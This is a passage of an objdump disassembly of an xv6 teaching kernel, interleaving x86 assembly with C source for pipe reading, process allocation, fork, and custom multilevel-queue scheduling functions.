8d 9e 34 02 00 00 lea 0x234(%esi),%ebx 8010353a: eb 2d jmp 80103569 <piperead+0x69> 8010353c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103540: 83 ec 08 sub $0x8,%esp 80103543: 56 push %esi 80103544: 53 push %ebx 80103545: e8 76 0a 00 00 call 80103fc0 <sleep> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 8010354a: 83 c4 10 add $0x10,%esp 8010354d: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx 80103553: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx 80103559: 75 35 jne 80103590 <piperead+0x90> 8010355b: 8b 96 40 02 00 00 mov 0x240(%esi),%edx 80103561: 85 d2 test %edx,%edx 80103563: 0f 84 8f 00 00 00 je 801035f8 <piperead+0xf8> if(myproc()->killed){ 80103569: e8 92 02 00 00 call 80103800 <myproc> 8010356e: 8b 48 24 mov 0x24(%eax),%ecx 80103571: 85 c9 test %ecx,%ecx 80103573: 74 cb je 80103540 <piperead+0x40> release(&p->lock); 80103575: 83 ec 0c sub $0xc,%esp return -1; 80103578: bb ff ff ff ff mov $0xffffffff,%ebx release(&p->lock); 8010357d: 56 push %esi 8010357e: e8 8d 11 00 00 call 80104710 <release> return -1; 80103583: 83 c4 10 add $0x10,%esp addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; } 80103586: 8d 65 f4 lea -0xc(%ebp),%esp 80103589: 89 d8 mov %ebx,%eax 8010358b: 5b pop %ebx 8010358c: 5e pop %esi 8010358d: 5f pop %edi 8010358e: 5d pop %ebp 8010358f: c3 ret for(i = 0; i < n; i++){ //DOC: piperead-copy 80103590: 8b 45 10 mov 0x10(%ebp),%eax 80103593: 85 c0 test %eax,%eax 80103595: 7e 61 jle 801035f8 <piperead+0xf8> if(p->nread == p->nwrite) 80103597: 31 db xor %ebx,%ebx 80103599: eb 13 jmp 801035ae <piperead+0xae> 8010359b: 90 nop 8010359c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801035a0: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx 801035a6: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx 801035ac: 74 1f je 801035cd <piperead+0xcd> addr[i] = p->data[p->nread++ % PIPESIZE]; 801035ae: 8d 41 01 lea 0x1(%ecx),%eax 801035b1: 81 e1 ff 01 00 00 and $0x1ff,%ecx 801035b7: 89 86 34 02 00 00 mov %eax,0x234(%esi) 801035bd: 0f b6 44 0e 34 movzbl 0x34(%esi,%ecx,1),%eax 801035c2: 88 04 1f mov %al,(%edi,%ebx,1) for(i = 0; i < n; i++){ //DOC: piperead-copy 801035c5: 83 c3 01 add $0x1,%ebx 801035c8: 39 5d 10 cmp %ebx,0x10(%ebp) 801035cb: 75 d3 jne 801035a0 <piperead+0xa0> wakeup(&p->nwrite); //DOC: piperead-wakeup 801035cd: 8d 86 38 02 00 00 lea 0x238(%esi),%eax 801035d3: 83 ec 0c sub $0xc,%esp 801035d6: 50 push %eax 801035d7: e8 a4 0b 00 00 call 80104180 <wakeup> release(&p->lock); 801035dc: 89 34 24 mov %esi,(%esp) 801035df: e8 2c 11 00 00 call 80104710 <release> return i; 801035e4: 83 c4 10 add $0x10,%esp } 801035e7: 8d 65 f4 lea -0xc(%ebp),%esp 801035ea: 89 d8 mov %ebx,%eax 801035ec: 5b pop %ebx 801035ed: 5e pop %esi 801035ee: 5f pop %edi 801035ef: 5d pop %ebp 801035f0: c3 ret 801035f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801035f8: 31 db xor %ebx,%ebx 801035fa: eb d1 jmp 801035cd <piperead+0xcd> 801035fc: 66 90 xchg %ax,%ax 801035fe: 66 90 xchg %ax,%ax 80103600 <allocproc>: // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 80103600: 55 push %ebp 80103601: 89 e5 mov %esp,%ebp 80103603: 53 push %ebx struct proc *p; char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103604: bb 54 2d 11 80 mov $0x80112d54,%ebx { 80103609: 83 ec 10 sub $0x10,%esp acquire(&ptable.lock); 8010360c: 68 20 2d 11 80 push $0x80112d20 80103611: e8 3a 10 00 00 call 80104650 <acquire> 80103616: 83 c4 10 add $0x10,%esp 80103619: eb 17 jmp 80103632 <allocproc+0x32> 8010361b: 90 nop 8010361c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103620: 81 c3 88 00 00 00 add $0x88,%ebx 80103626: 81 fb 54 4f 11 80 cmp $0x80114f54,%ebx 8010362c: 0f 83 96 00 00 00 jae 801036c8 <allocproc+0xc8> if(p->state == UNUSED) 80103632: 8b 43 0c mov 0xc(%ebx),%eax 80103635: 85 c0 test %eax,%eax 80103637: 75 e7 jne 80103620 <allocproc+0x20> release(&ptable.lock); return 0; found: p->state = EMBRYO; p->pid = nextpid++; 80103639: a1 04 a0 10 80 mov 0x8010a004,%eax p->queueNum = 3; p->remainingIterations = 8; p->iterations = 0; release(&ptable.lock); 8010363e: 83 ec 0c sub $0xc,%esp p->state = EMBRYO; 80103641: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx) p->queueNum = 3; 80103648: c7 43 7c 03 00 00 00 movl $0x3,0x7c(%ebx) p->remainingIterations = 8; 8010364f: c7 83 80 00 00 00 08 movl $0x8,0x80(%ebx) 80103656: 00 00 00 p->iterations = 0; 80103659: c7 83 84 00 00 00 00 movl $0x0,0x84(%ebx) 80103660: 00 00 00 p->pid = nextpid++; 80103663: 8d 50 01 lea 0x1(%eax),%edx 80103666: 89 43 10 mov %eax,0x10(%ebx) release(&ptable.lock); 80103669: 68 20 2d 11 80 push $0x80112d20 p->pid = nextpid++; 8010366e: 89 15 04 a0 10 80 mov %edx,0x8010a004 release(&ptable.lock); 80103674: e8 97 10 00 00 call 80104710 <release> // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ 80103679: e8 42 ee ff ff call 801024c0 <kalloc> 8010367e: 83 c4 10 add $0x10,%esp 80103681: 85 c0 test %eax,%eax 80103683: 89 43 08 mov %eax,0x8(%ebx) 80103686: 74 59 je 801036e1 <allocproc+0xe1> return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 80103688: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx sp -= 4; *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); 8010368e: 83 ec 04 sub $0x4,%esp sp -= sizeof *p->context; 80103691: 05 9c 0f 00 00 add $0xf9c,%eax sp -= sizeof *p->tf; 80103696: 89 53 18 mov %edx,0x18(%ebx) *(uint*)sp = (uint)trapret; 80103699: c7 40 14 61 59 10 80 movl $0x80105961,0x14(%eax) p->context = (struct context*)sp; 801036a0: 89 43 1c mov %eax,0x1c(%ebx) memset(p->context, 0, sizeof *p->context); 801036a3: 6a 14 push $0x14 801036a5: 6a 00 push $0x0 801036a7: 50 push %eax 801036a8: e8 b3 10 00 00 call 80104760 <memset> p->context->eip = (uint)forkret; 801036ad: 8b 43 1c mov 0x1c(%ebx),%eax return p; 801036b0: 83 c4 10 add $0x10,%esp p->context->eip = (uint)forkret; 801036b3: c7 40 10 f0 36 10 80 movl $0x801036f0,0x10(%eax) } 801036ba: 89 d8 mov %ebx,%eax 801036bc: 8b 5d fc mov -0x4(%ebp),%ebx 801036bf: c9 leave 801036c0: c3 ret 801036c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); 801036c8: 83 ec 0c sub $0xc,%esp return 0; 801036cb: 31 db xor %ebx,%ebx release(&ptable.lock); 801036cd: 68 20 2d 11 80 push $0x80112d20 801036d2: e8 39 10 00 00 call 80104710 <release> } 801036d7: 89 d8 mov %ebx,%eax return 0; 801036d9: 83 c4 10 add $0x10,%esp } 801036dc: 8b 5d fc mov -0x4(%ebp),%ebx 801036df: c9 leave 801036e0: c3 ret p->state = UNUSED; 801036e1: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return 0; 801036e8: 31 db xor %ebx,%ebx 801036ea: eb ce jmp 801036ba <allocproc+0xba> 801036ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801036f0 <forkret>: // A fork child's very first scheduling by scheduler() // will swtch here. "Return" to user space. void forkret(void) { 801036f0: 55 push %ebp 801036f1: 89 e5 mov %esp,%ebp 801036f3: 83 ec 14 sub $0x14,%esp static int first = 1; // Still holding ptable.lock from scheduler. release(&ptable.lock); 801036f6: 68 20 2d 11 80 push $0x80112d20 801036fb: e8 10 10 00 00 call 80104710 <release> if (first) { 80103700: a1 00 a0 10 80 mov 0x8010a000,%eax 80103705: 83 c4 10 add $0x10,%esp 80103708: 85 c0 test %eax,%eax 8010370a: 75 04 jne 80103710 <forkret+0x20> iinit(ROOTDEV); initlog(ROOTDEV); } // Return to "caller", actually trapret (see allocproc). } 8010370c: c9 leave 8010370d: c3 ret 8010370e: 66 90 xchg %ax,%ax iinit(ROOTDEV); 80103710: 83 ec 0c sub $0xc,%esp first = 0; 80103713: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000 8010371a: 00 00 00 iinit(ROOTDEV); 8010371d: 6a 01 push $0x1 8010371f: e8 5c dd ff ff call 80101480 <iinit> initlog(ROOTDEV); 80103724: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8010372b: e8 d0 f3 ff ff call 80102b00 <initlog> 80103730: 83 c4 10 add $0x10,%esp } 80103733: c9 leave 80103734: c3 ret 80103735: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103739: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103740 <pinit>: { 80103740: 55 push %ebp 80103741: 89 e5 mov %esp,%ebp 80103743: 83 ec 10 sub $0x10,%esp initlock(&ptable.lock, "ptable"); 80103746: 68 35 77 10 80 push $0x80107735 8010374b: 68 20 2d 11 80 push $0x80112d20 80103750: e8 bb 0d 00 00 call 80104510 <initlock> } 80103755: 83 c4 10 add $0x10,%esp 80103758: c9 leave 80103759: c3 ret 8010375a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103760 <mycpu>: { 80103760: 55 push %ebp 80103761: 89 e5 mov %esp,%ebp 80103763: 56 push %esi 80103764: 53 push %ebx asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103765: 9c pushf 80103766: 58 pop %eax if(readeflags()&FL_IF) 80103767: f6 c4 02 test $0x2,%ah 8010376a: 75 5e jne 801037ca <mycpu+0x6a> apicid = lapicid(); 8010376c: e8 bf ef ff ff call 80102730 <lapicid> for (i = 0; i < ncpu; ++i) { 80103771: 8b 35 00 2d 11 80 mov 0x80112d00,%esi 80103777: 85 f6 test %esi,%esi 80103779: 7e 42 jle 801037bd <mycpu+0x5d> if (cpus[i].apicid == apicid) 8010377b: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx 80103782: 39 d0 cmp %edx,%eax 80103784: 74 30 je 801037b6 <mycpu+0x56> 80103786: b9 30 28 11 80 mov $0x80112830,%ecx for (i = 0; i < ncpu; ++i) { 8010378b: 31 d2 xor %edx,%edx 8010378d: 8d 76 00 lea 0x0(%esi),%esi 80103790: 83 c2 01 add $0x1,%edx 80103793: 39 f2 cmp %esi,%edx 80103795: 74 26 je 801037bd <mycpu+0x5d> if (cpus[i].apicid == apicid) 80103797: 0f b6 19 movzbl (%ecx),%ebx 8010379a: 81 c1 b0 00 00 00 add $0xb0,%ecx 801037a0: 39 c3 cmp %eax,%ebx 801037a2: 75 ec jne 80103790 <mycpu+0x30> 801037a4: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax 801037aa: 05 80 27 11 80 add $0x80112780,%eax } 801037af: 8d 65 f8 lea -0x8(%ebp),%esp 801037b2: 5b pop %ebx 801037b3: 5e pop %esi 801037b4: 5d pop %ebp 801037b5: c3 ret if (cpus[i].apicid == apicid) 801037b6: b8 80 27 11 80 mov $0x80112780,%eax return &cpus[i]; 801037bb: eb f2 jmp 801037af <mycpu+0x4f> panic("unknown apicid\n"); 801037bd: 83 ec 0c sub $0xc,%esp 801037c0: 68 3c 77 10 80 push $0x8010773c 801037c5: e8 c6 cb ff ff call 80100390 <panic> panic("mycpu called with interrupts enabled\n"); 801037ca: 83 ec 0c sub $0xc,%esp 801037cd: 68 74 78 10 80 push $0x80107874 801037d2: e8 b9 cb ff ff call 80100390 <panic> 801037d7: 89 f6 mov %esi,%esi 801037d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801037e0 <cpuid>: cpuid() { 801037e0: 55 push %ebp 801037e1: 89 e5 mov %esp,%ebp 801037e3: 83 ec 08 sub $0x8,%esp return mycpu()-cpus; 801037e6: e8 75 ff ff ff call 80103760 <mycpu> 801037eb: 2d 80 27 11 80 sub $0x80112780,%eax } 801037f0: c9 leave return mycpu()-cpus; 801037f1: c1 f8 04 sar $0x4,%eax 801037f4: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax } 801037fa: c3 ret 801037fb: 90 nop 801037fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103800 <myproc>: myproc(void) { 80103800: 55 push %ebp 80103801: 89 e5 mov %esp,%ebp 80103803: 53 push %ebx 80103804: 83 ec 04 sub $0x4,%esp pushcli(); 80103807: e8 74 0d 00 00 call 80104580 <pushcli> c = mycpu(); 8010380c: e8 4f ff ff ff call 80103760 <mycpu> p = c->proc; 80103811: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103817: e8 a4 0d 00 00 call 801045c0 <popcli> } 8010381c: 83 c4 04 add $0x4,%esp 8010381f: 89 d8 mov %ebx,%eax 80103821: 5b pop %ebx 80103822: 5d pop %ebp 80103823: c3 ret 80103824: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010382a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80103830 <userinit>: { 80103830: 55 push %ebp 80103831: 89 e5 mov %esp,%ebp 80103833: 53 push %ebx 80103834: 83 ec 04 sub $0x4,%esp p = allocproc(); 80103837: e8 c4 fd ff ff call 80103600 <allocproc> 8010383c: 89 c3 mov %eax,%ebx initproc = p; 8010383e: a3 b8 a5 10 80 mov %eax,0x8010a5b8 if((p->pgdir = setupkvm()) == 0) 80103843: e8 e8 36 00 00 call 80106f30 <setupkvm> 80103848: 85 c0 test %eax,%eax 8010384a: 89 43 04 mov %eax,0x4(%ebx) 8010384d: 0f 84 bd 00 00 00 je 80103910 <userinit+0xe0> inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); 80103853: 83 ec 04 sub $0x4,%esp 80103856: 68 2c 00 00 00 push $0x2c 8010385b: 68 60 a4 10 80 push $0x8010a460 80103860: 50 push %eax 80103861: e8 aa 33 00 00 call 80106c10 <inituvm> memset(p->tf, 0, sizeof(*p->tf)); 80103866: 83 c4 0c add $0xc,%esp p->sz = PGSIZE; 80103869: c7 03 00 10 00 00 movl $0x1000,(%ebx) memset(p->tf, 0, sizeof(*p->tf)); 8010386f: 6a 4c push $0x4c 80103871: 6a 00 push $0x0 80103873: ff 73 18 pushl 0x18(%ebx) 80103876: e8 e5 0e 00 00 call 80104760 <memset> p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010387b: 8b 43 18 mov 0x18(%ebx),%eax 8010387e: ba 1b 00 00 00 mov $0x1b,%edx p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 80103883: b9 23 00 00 00 mov $0x23,%ecx safestrcpy(p->name, "initcode", sizeof(p->name)); 80103888: 83 c4 0c add $0xc,%esp p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010388b: 66 89 50 3c mov %dx,0x3c(%eax) p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 8010388f: 8b 43 18 mov 0x18(%ebx),%eax 80103892: 66 89 48 2c mov %cx,0x2c(%eax) p->tf->es = p->tf->ds; 80103896: 8b 43 18 mov 0x18(%ebx),%eax 80103899: 0f b7 50 2c movzwl 0x2c(%eax),%edx 8010389d: 66 89 50 28 mov %dx,0x28(%eax) p->tf->ss = p->tf->ds; 801038a1: 8b 43 18 mov 0x18(%ebx),%eax 801038a4: 0f b7 50 2c movzwl 0x2c(%eax),%edx 801038a8: 66 89 50 48 mov %dx,0x48(%eax) p->tf->eflags = FL_IF; 801038ac: 8b 43 18 mov 0x18(%ebx),%eax 801038af: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax) p->tf->esp = PGSIZE; 801038b6: 8b 43 18 mov 0x18(%ebx),%eax 801038b9: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax) p->tf->eip = 0; // beginning of initcode.S 801038c0: 8b 43 18 mov 0x18(%ebx),%eax 801038c3: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax) safestrcpy(p->name, "initcode", sizeof(p->name)); 801038ca: 8d 43 6c lea 0x6c(%ebx),%eax 801038cd: 6a 10 push $0x10 801038cf: 68 65 77 10 80 push $0x80107765 801038d4: 50 push %eax 801038d5: e8 66 10 00 00 call 80104940 <safestrcpy> p->cwd = namei("/"); 801038da: c7 04 24 6e 77 10 80 movl $0x8010776e,(%esp) 801038e1: e8 fa e5 ff ff call 80101ee0 <namei> 801038e6: 89 43 68 mov %eax,0x68(%ebx) acquire(&ptable.lock); 801038e9: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801038f0: e8 5b 0d 00 00 call 80104650 <acquire> p->state = RUNNABLE; 801038f5: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) release(&ptable.lock); 801038fc: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103903: e8 08 0e 00 00 call 80104710 <release> } 80103908: 83 c4 10 add $0x10,%esp 8010390b: 8b 5d fc mov -0x4(%ebp),%ebx 8010390e: c9 leave 8010390f: c3 ret panic("userinit: out of memory?"); 80103910: 83 ec 0c sub $0xc,%esp 80103913: 68 4c 77 10 80 push $0x8010774c 80103918: e8 73 ca ff ff call 80100390 <panic> 8010391d: 8d 76 00 lea 0x0(%esi),%esi 80103920 <growproc>: { 80103920: 55 push %ebp 80103921: 89 e5 mov %esp,%ebp 80103923: 56 push %esi 80103924: 53 push %ebx 80103925: 8b 75 08 mov 0x8(%ebp),%esi pushcli(); 80103928: e8 53 0c 00 00 call 80104580 <pushcli> c = mycpu(); 8010392d: e8 2e fe ff ff call 80103760 <mycpu> p = c->proc; 80103932: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103938: e8 83 0c 00 00 call 801045c0 <popcli> if(n > 0){ 8010393d: 83 fe 00 cmp $0x0,%esi sz = curproc->sz; 80103940: 8b 03 mov (%ebx),%eax if(n > 0){ 80103942: 7f 1c jg 80103960 <growproc+0x40> } else if(n < 0){ 80103944: 75 3a jne 80103980 <growproc+0x60> switchuvm(curproc); 80103946: 83 ec 0c sub $0xc,%esp curproc->sz = sz; 80103949: 89 03 mov %eax,(%ebx) switchuvm(curproc); 8010394b: 53 push %ebx 8010394c: e8 af 31 00 00 call 80106b00 <switchuvm> return 0; 80103951: 83 c4 10 add $0x10,%esp 80103954: 31 c0 xor %eax,%eax } 80103956: 8d 65 f8 lea -0x8(%ebp),%esp 80103959: 5b pop %ebx 8010395a: 5e pop %esi 8010395b: 5d pop %ebp 8010395c: c3 ret 8010395d: 8d 76 00 lea 0x0(%esi),%esi if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) 80103960: 83 ec 04 sub $0x4,%esp 80103963: 01 c6 add %eax,%esi 80103965: 56 push %esi 80103966: 50 push %eax 80103967: ff 73 04 pushl 0x4(%ebx) 8010396a: e8 e1 33 00 00 call 80106d50 <allocuvm> 8010396f: 83 c4 10 add $0x10,%esp 80103972: 85 c0 test %eax,%eax 80103974: 75 d0 jne 80103946 <growproc+0x26> return -1; 80103976: b8 ff ff ff ff mov $0xffffffff,%eax 8010397b: eb d9 jmp 80103956 <growproc+0x36> 8010397d: 8d 76 00 lea 0x0(%esi),%esi if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) 80103980: 83 ec 04 sub $0x4,%esp 80103983: 01 c6 add %eax,%esi 80103985: 56 push %esi 80103986: 50 push %eax 80103987: ff 73 04 pushl 0x4(%ebx) 8010398a: e8 f1 34 00 00 call 80106e80 <deallocuvm> 8010398f: 83 c4 10 add $0x10,%esp 80103992: 85 c0 test %eax,%eax 80103994: 75 b0 jne 80103946 <growproc+0x26> 80103996: eb de jmp 80103976 <growproc+0x56> 80103998: 90 nop 80103999: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801039a0 <fork>: { 801039a0: 55 push %ebp 801039a1: 89 e5 mov %esp,%ebp 801039a3: 57 push %edi 801039a4: 56 push %esi 801039a5: 53 push %ebx 801039a6: 83 ec 1c sub $0x1c,%esp pushcli(); 801039a9: e8 d2 0b 00 00 call 80104580 <pushcli> c = mycpu(); 801039ae: e8 ad fd ff ff call 80103760 <mycpu> p = c->proc; 801039b3: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 801039b9: e8 02 0c 00 00 call 801045c0 <popcli> if((np = allocproc()) == 0){ 801039be: e8 3d fc ff ff call 80103600 <allocproc> 801039c3: 85 c0 test %eax,%eax 801039c5: 89 45 e4 mov %eax,-0x1c(%ebp) 801039c8: 0f 84 b7 00 00 00 je 80103a85 <fork+0xe5> if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){ 801039ce: 83 ec 08 sub $0x8,%esp 801039d1: ff 33 pushl (%ebx) 801039d3: ff 73 04 pushl 0x4(%ebx) 801039d6: 89 c7 mov %eax,%edi 801039d8: e8 23 36 00 00 call 80107000 <copyuvm> 801039dd: 83 c4 10 add $0x10,%esp 801039e0: 85 c0 test %eax,%eax 801039e2: 89 47 04 mov %eax,0x4(%edi) 801039e5: 0f 84 a1 00 00 00 je 80103a8c <fork+0xec> np->sz = curproc->sz; 801039eb: 8b 03 mov (%ebx),%eax 801039ed: 8b 4d e4 mov -0x1c(%ebp),%ecx 801039f0: 89 01 mov %eax,(%ecx) np->parent = curproc; 801039f2: 89 59 14 mov %ebx,0x14(%ecx) 801039f5: 89 c8 mov %ecx,%eax *np->tf = *curproc->tf; 801039f7: 8b 79 18 mov 0x18(%ecx),%edi 801039fa: 8b 73 18 mov 0x18(%ebx),%esi 801039fd: b9 13 00 00 00 mov $0x13,%ecx 80103a02: f3 a5 rep movsl %ds:(%esi),%es:(%edi) for(i = 0; i < NOFILE; i++) 80103a04: 31 f6 xor %esi,%esi np->tf->eax = 0; 80103a06: 8b 40 18 mov 0x18(%eax),%eax 80103a09: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax) if(curproc->ofile[i]) 80103a10: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 80103a14: 85 c0 test %eax,%eax 80103a16: 74 13 je 80103a2b <fork+0x8b> np->ofile[i] = filedup(curproc->ofile[i]); 80103a18: 83 ec 0c sub $0xc,%esp 80103a1b: 50 push %eax 80103a1c: e8 cf d3 ff ff call 80100df0 <filedup> 80103a21: 8b 55 e4 mov -0x1c(%ebp),%edx 80103a24: 83 c4 10 add $0x10,%esp 80103a27: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4) for(i = 0; i < NOFILE; i++) 80103a2b: 83 c6 01 add $0x1,%esi 80103a2e: 83 fe 10 cmp $0x10,%esi 80103a31: 75 dd jne 80103a10 <fork+0x70> np->cwd = idup(curproc->cwd); 80103a33: 83 ec 0c sub $0xc,%esp 80103a36: ff 73 68 pushl 0x68(%ebx) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 80103a39: 83 c3 6c add $0x6c,%ebx np->cwd = idup(curproc->cwd); 80103a3c: e8 0f dc ff ff call 80101650 <idup> 80103a41: 8b 7d e4 mov -0x1c(%ebp),%edi safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 80103a44: 83 c4 0c add $0xc,%esp np->cwd = idup(curproc->cwd); 80103a47: 89 47 68 mov %eax,0x68(%edi) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 80103a4a: 8d 47 6c lea 0x6c(%edi),%eax 80103a4d: 6a 10 push $0x10 80103a4f: 53 push %ebx 80103a50: 50 push %eax 80103a51: e8 ea 0e 00 00 call 80104940 <safestrcpy> pid = np->pid; 80103a56: 8b 5f 10 mov 0x10(%edi),%ebx acquire(&ptable.lock); 80103a59: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103a60: e8 eb 0b 00 00 call 80104650 <acquire> np->state = RUNNABLE; 80103a65: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi) release(&ptable.lock); 80103a6c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103a73: e8 98 0c 00 00 call 80104710 <release> return pid; 80103a78: 83 c4 10 add $0x10,%esp } 80103a7b: 8d 65 f4 lea -0xc(%ebp),%esp 80103a7e: 89 d8 mov %ebx,%eax 80103a80: 5b pop %ebx 80103a81: 5e pop %esi 80103a82: 5f pop %edi 80103a83: 5d pop %ebp 80103a84: c3 ret return -1; 80103a85: bb ff ff ff ff mov $0xffffffff,%ebx 80103a8a: eb ef jmp 80103a7b <fork+0xdb> kfree(np->kstack); 80103a8c: 8b 5d e4 mov -0x1c(%ebp),%ebx 80103a8f: 83 ec 0c sub $0xc,%esp 80103a92: ff 73 08 pushl 0x8(%ebx) 80103a95: e8 76 e8 ff ff call 80102310 <kfree> np->kstack = 0; 80103a9a: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) np->state = UNUSED; 80103aa1: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return -1; 80103aa8: 83 c4 10 add $0x10,%esp 80103aab: bb ff ff ff ff mov $0xffffffff,%ebx 80103ab0: eb c9 jmp 80103a7b <fork+0xdb> 80103ab2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103ab9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103ac0 <runnable>: int runnable (struct proc * p, int maxQueue){ 80103ac0: 55 push %ebp 80103ac1: 89 e5 mov %esp,%ebp 80103ac3: 53 push %ebx 80103ac4: 8b 55 08 mov 0x8(%ebp),%edx 80103ac7: 8b 4d 0c mov 0xc(%ebp),%ecx if ((p->queueNum < maxQueue && !(p->queueNum == 0 && maxQueue == 0)) || p->remainingIterations <= 0){ 80103aca: 8b 5a 7c mov 0x7c(%edx),%ebx 80103acd: 39 cb cmp %ecx,%ebx 80103acf: 7d 06 jge 80103ad7 <runnable+0x17> return 0; 80103ad1: 31 c0 xor %eax,%eax if ((p->queueNum < maxQueue && !(p->queueNum == 0 && maxQueue == 0)) || p->remainingIterations <= 0){ 80103ad3: 09 cb or %ecx,%ebx 80103ad5: 75 0d jne 80103ae4 <runnable+0x24> 80103ad7: 8b 92 80 00 00 00 mov 0x80(%edx),%edx 80103add: 31 c0 xor %eax,%eax 80103adf: 85 d2 test %edx,%edx 80103ae1: 0f 9f c0 setg %al } 80103ae4: 5b pop %ebx 80103ae5: 5d pop %ebp 80103ae6: c3 ret 80103ae7: 89 f6 mov %esi,%esi 80103ae9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103af0 <changeQueue>: void changeQueue(struct proc *p, int queueNew){ 80103af0: 55 push %ebp 80103af1: 89 e5 mov %esp,%ebp 80103af3: 8b 45 0c mov 0xc(%ebp),%eax 80103af6: 8b 55 08 mov 0x8(%ebp),%edx switch (queueNew){ 80103af9: 83 f8 01 cmp $0x1,%eax p->queueNum = queueNew; 80103afc: 89 42 7c mov %eax,0x7c(%edx) p->iterations = 0; 80103aff: c7 82 84 00 00 00 00 movl $0x0,0x84(%edx) 80103b06: 00 00 00 switch (queueNew){ 80103b09: 74 55 je 80103b60 <changeQueue+0x70> 80103b0b: 7e 2b jle 80103b38 <changeQueue+0x48> 80103b0d: 83 f8 02 cmp $0x2,%eax 80103b10: 74 16 je 80103b28 <changeQueue+0x38> 80103b12: 83 f8 03 cmp $0x3,%eax 80103b15: 75 39 jne 80103b50 <changeQueue+0x60> p->remainingIterations = 8; 80103b17: c7 82 80 00 00 00 08 movl $0x8,0x80(%edx) 80103b1e: 00 00 00 } 80103b21: 5d pop %ebp 80103b22: c3 ret 80103b23: 90 nop 80103b24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p->remainingIterations = 16; 80103b28: c7 82 80 00 00 00 10 movl $0x10,0x80(%edx) 80103b2f: 00 00 00 } 80103b32: 5d pop %ebp 80103b33: c3 ret 80103b34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi switch (queueNew){ 80103b38: 85 c0 test %eax,%eax 80103b3a: 75 14 jne 80103b50 <changeQueue+0x60> p->remainingIterations = 500; 80103b3c: c7 82 80 00 00 00 f4 movl $0x1f4,0x80(%edx) 80103b43: 01 00 00 } 80103b46: 5d pop %ebp 80103b47: c3 ret 80103b48: 90 nop 80103b49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi cprintf ("Not a valid queue level"); 80103b50: c7 45 08 70 77 10 80 movl $0x80107770,0x8(%ebp) } 80103b57: 5d pop %ebp cprintf ("Not a valid queue level"); 80103b58: e9 03 cb ff ff jmp 80100660 <cprintf> 80103b5d: 8d 76 00 lea 0x0(%esi),%esi p->remainingIterations = 24; 80103b60: c7 82 80 00 00 00 18 movl $0x18,0x80(%edx) 80103b67: 00 00 00 } 80103b6a: 5d pop %ebp 